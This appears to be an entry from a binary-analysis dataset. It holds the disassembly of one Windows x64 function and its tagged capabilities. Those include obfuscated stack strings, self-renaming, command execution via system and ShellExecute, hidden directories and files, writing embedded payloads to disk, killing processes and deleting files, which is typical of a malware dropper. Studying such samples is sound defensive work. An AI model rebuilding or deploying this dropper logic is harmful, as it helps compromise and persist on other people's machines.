Function at 0x140082070
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Execute command
Move file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x388]
sub rsp, 0x480
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x1402f6010]
xor rax, rsp
mov qword [rbp + 0x370], rax
call fcn.14007f600
mov dword [rbp - 0x18], 0x53205150
mov word [rbp - 0x14], 0x100
lea rcx, [rbp - 0x18]
call fcn.14007e100
lea r8, [0x1406891b0]
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xd0]
call fcn.14007e390
cmp qword [rax + 0x18], 0x10
jb 0x1400820e7
mov rax, qword [rax]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r14 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14068be38], rax
lea rcx, [rbp + 0xd0]
call fcn.14007b510
nop
cmp qword [0x14068be38], 0xffffffffffffffff
jne 0x140082e26
cmp byte [0x14068bdf4], r14b
jne 0x1400821cc
lea edx, [r14 + 0xf]
lea rcx, [rsp + 0x40]
call fcn.14007f270
mov rdx, rax
lea rcx, [0x140689290]
call fcn.14007d270
nop
lea rcx, [rsp + 0x40]
call fcn.14007b510
nop
lea rbx, [0x140689290]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rbx, qword [0x140689290]
mov r8d, 0x104
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x40]
call fcn.14007b570
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
nop
lea rcx, [rsp + 0x40]
call fcn.14007b510
nop
mov dword [rsp + 0x40], 0x74434a4c
mov dword [rsp + 0x44], 0x767d6560
mov dword [rsp + 0x48], 0x617d3973
mov word [rsp + 0x4c], 0x7f
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140085960
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b570
mov rcx, rax
call fcn.14007f730
test eax, eax
je 0x1400822ca
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140082000
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d7bb0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d7cb0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d7b10]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d7b50]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d7b70]
movdqa xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x2e], 1
lea rcx, [rbp - 0x80]
call fcn.140085590
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.14007ca50
lea rdx, [0x14007cc20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x40], 0x62656e7e
mov word [rsp + 0x44], 0x77
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x40]
call fcn.140085810
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor al, al
jmp 0x140082e28
movdqa xmm0, xmmword [0x1402d7d00]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x7b
mov byte [rsp + 0x52], 1
lea rcx, [rsp + 0x40]
call fcn.1400858d0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14007b570
mov rcx, rax
call fcn.14007f730
test eax, eax
je 0x14008237b
mov ecx, reloc.WS2_32.dll_inet_ntoa
call fcn.140082000
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1402d7ba0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x1402d7c90]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x1402d7c70]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x1402d7b60]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x1402d7b80]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x4043e31
mov dword [rbp - 0x2c], 0x1004d10
lea rcx, [rbp - 0x80]
call fcn.140085560
lea rdx, [rbp - 0x80]
jmp 0x140082282
mov dword [rsp + 0x40], 0x100354d
lea rcx, [rsp + 0x40]
call fcn.1400856b0
lea rax, [rsp + 0x40]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400823a0
lea rdx, [rsp + 0x40]
lea rdi, [0x140688cf0]
mov rcx, rdi
call fcn.14007c690
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688e10]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140689210]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688ab0]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688a90]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688bd0]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688ff0]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688fb0]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688e30]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140689130]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140688c70]
call fcn.14007c4f0
call fcn.140081ec0
movzx edx, al
lea rcx, [0x140689150]
call fcn.14007c4f0
sub rbx, 1
jne 0x1400823d4
lea rcx, [rbp + 0x110]
call fcn.14007d240
lea rcx, [rbp + 0x110]
call fcn.14007c4d0
nop
lea rcx, [rbp + 0x130]
call fcn.14007d240
lea rcx, [rbp + 0x130]
call fcn.14007c4d0
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 5]
lea rcx, [rsp + 0x60]
call fcn.140081cc0
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14007d270
nop
lea rcx, [rsp + 0x60]
call fcn.14007b510
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov eax, r8d
cdq
xor eax, edx
sub eax, edx
lea edx, [rax + 2]
lea rcx, [rsp + 0x60]
call fcn.140081dc0
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14007d270
nop
lea rcx, [rsp + 0x60]
call fcn.14007b510
nop
mov word [rsp + 0x40], 0x55
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b400
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400825b0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c690
movzx eax, byte [0x14068bdf4]
test al, al
jne 0x1400825ea
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.14007b4f0
lea rdx, [rbp + 0x130]
jmp 0x1400825f5
cmp al, 1
jne 0x1400825fd
lea rdx, [0x140688af0]
mov rcx, rdi
call fcn.14007b4f0
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x140688cf0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x140688cf0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rsp + 0x40], 0x55
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b400
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082652
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14007c690
nop
lea rcx, [rbp + 0xf0]
call fcn.14007d240
lea rcx, [rbp + 0xf0]
call fcn.14007c4d0
nop
lea rdx, [0x140689150]
lea rcx, [rbp + 0xf0]
call fcn.14007b4f0
mov dword [rsp + 0x40], 0x7c777e22
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e100
lea rax, [rsp + 0x40]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400826c0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.14007c690
nop
lea rcx, [rbp + 0xb0]
call fcn.14007d240
lea rcx, [rbp + 0xb0]
call fcn.14007c4d0
nop
lea rdx, [0x140688e10]
lea rcx, [rbp + 0xb0]
call fcn.14007b4f0
mov dword [rsp + 0x40], 0x6a766822
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e100
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082730
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.14007c690
lea r8, [rbp + 0xf0]
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.1400868d0
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0xb0]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.1400868d0
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x8bcecc31
imul r8d
add edx, r8d
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xea61
sub r8d, ecx
mov eax, r8d
cdq
mov edi, eax
xor edi, edx
sub edi, edx
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8d, [rdi + 0x2df000]
lea rdx, [0x1402f8a10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
mov r8d, 0x1a400
lea rdx, [0x1405d7a10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
lea rcx, [rbp + 0x30]
call fcn.14007d240
lea rcx, [rbp + 0x30]
call fcn.14007c4d0
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4f0
mov word [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_41
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.14007b400
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082900
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.14007c690
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.14007b4f0
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rcx, qword [rbp + 0x30]
call fcn.14007ea30
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.14007b5b0
mov rcx, rax
call fcn.14007f730
mov rbx, rax
test eax, eax
je 0x1400829a1
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x50]
call fcn.14007d240
lea rcx, [rbp + 0x50]
call fcn.14007c4d0
nop
mov dword [rsp + 0x40], 0x682a6a7b
mov dword [rsp + 0x44], 0x7b6f687e
mov dword [rsp + 0x48], 0x1003175
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400829e0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c690
lea rdx, [0x1406891b0]
lea rcx, [rbp + 0x50]
call fcn.14007b4f0
mov dword [rsp + 0x40], 0x65636b28
mov dword [rsp + 0x44], 0x677a6c7c
mov dword [rsp + 0x48], 0x100312d
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140082a32
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c690
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14007b4f0
mov dword [rsp + 0x40], 0x61697b2e
mov dword [rsp + 0x44], 0x7e342e77
mov dword [rsp + 0x48], 0x7c766573
mov word [rsp + 0x4c], 0x76
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140085960
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082a90
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.14007c690
mov dword [rsp + 0x40], 0x7f2b697a
mov dword [rsp + 0x44], 0x307f6179
mov dword [rsp + 0x48], 0x71707377
mov dword [rsp + 0x4c], 0x100627c
lea rcx, [rsp + 0x40]
call fcn.14007b410
lea rcx, [rsp + 0x40]
call fcn.14007ea30
movdqa xmm0, xmmword [0x1402d7d10]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
lea rcx, [rsp + 0x40]
call fcn.1400859c0
lea rcx, [rsp + 0x40]
call fcn.14007ea30
mov dword [rsp + 0x40], 0x62306c7d
mov dword [rsp + 0x44], 0x35647c66
mov dword [rsp + 0x48], 0x737060
mov byte [rsp + 0x4c], 1
lea rcx, [rsp + 0x40]
call fcn.140085840
lea rcx, [rsp + 0x40]
call fcn.14007ea30
mov dword [rsp + 0x40], 0x75306c7d
mov dword [rsp + 0x44], 0x61717f77
mov dword [rsp + 0x48], 0x7e6e3773
mov word [rsp + 0x4c], WSAStartup
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x40]
call fcn.140085960
lea rcx, [rsp + 0x40]
call fcn.14007ea30
nop
lea rcx, [rbp + 0x70]
call fcn.14007d240
lea rcx, [rbp + 0x70]
call fcn.14007c4d0
nop
mov dword [rsp + 0x40], 0x62306c7d
mov dword [rsp + 0x44], 0x35647c66
mov word [rsp + 0x48], 0x100
lea rcx, [rsp + 0x40]
call fcn.140085990
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082bb0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.14007c690
lea rdx, [0x1406891b0]
lea rcx, [rbp + 0x70]
call fcn.14007b4f0
nop
lea rcx, [rbp + 0x90]
call fcn.14007d240
lea rcx, [rbp + 0x90]
call fcn.14007c4d0
nop
mov dword [rsp + 0x40], 0x6f2a6a7b
mov dword [rsp + 0x44], 0x7b6b6169
mov dword [rsp + 0x48], 0x1003175
lea rcx, [rsp + 0x40]
call fcn.14007b1b0
lea rax, [rsp + 0x40]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082c20
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x90]
call fcn.14007c690
lea rdx, [0x1406891b0]
lea rcx, [rbp + 0x90]
call fcn.14007b4f0
nop
lea rcx, [rbp + 0xd0]
call fcn.14007d240
lea rcx, [rbp + 0xd0]
call fcn.14007c4d0
nop
mov dword [rsp + 0x40], 0x7f2b697a
mov dword [rsp + 0x44], 0x647d6f79
mov word [rsp + 0x48], getservbyname
mov byte [rsp + 0x4a], 1
lea rcx, [rsp + 0x40]
call fcn.14007b440
lea rax, [rsp + 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140082c93
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xd0]
call fcn.14007c690
lea rdx, [0x1406891b0]
lea rcx, [rbp + 0xd0]
call fcn.14007b4f0
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rcx, qword [rbp + 0x70]
call fcn.14007ea30
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rcx, qword [rbp + 0x90]
call fcn.14007ea30
lea rcx, [rbp + 0x10]
call fcn.1400813c0
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x260]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
inc rax
mov qword [0x14068bdf8], rax
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, ebx
mov edx, 1
mov ecx, 0x100001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movzx eax, byte [0x14068bdf4]
cmp al, 1
jne 0x140082dc8
mov rbx, qword [0x14068bdf8]
jmp 0x140082ddb
test al, al
jne 0x140082e12
lea rcx, [0x140689290]
call fcn.14007b4e0
mov rbx, rax
mov dword [rsp + 0x40], 0x616b7d63
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x40]
call fcn.14007e0a0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov al, 1
mov rcx, qword [rbp + 0x370]
xor rcx, rsp
call fcn.1400885e0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret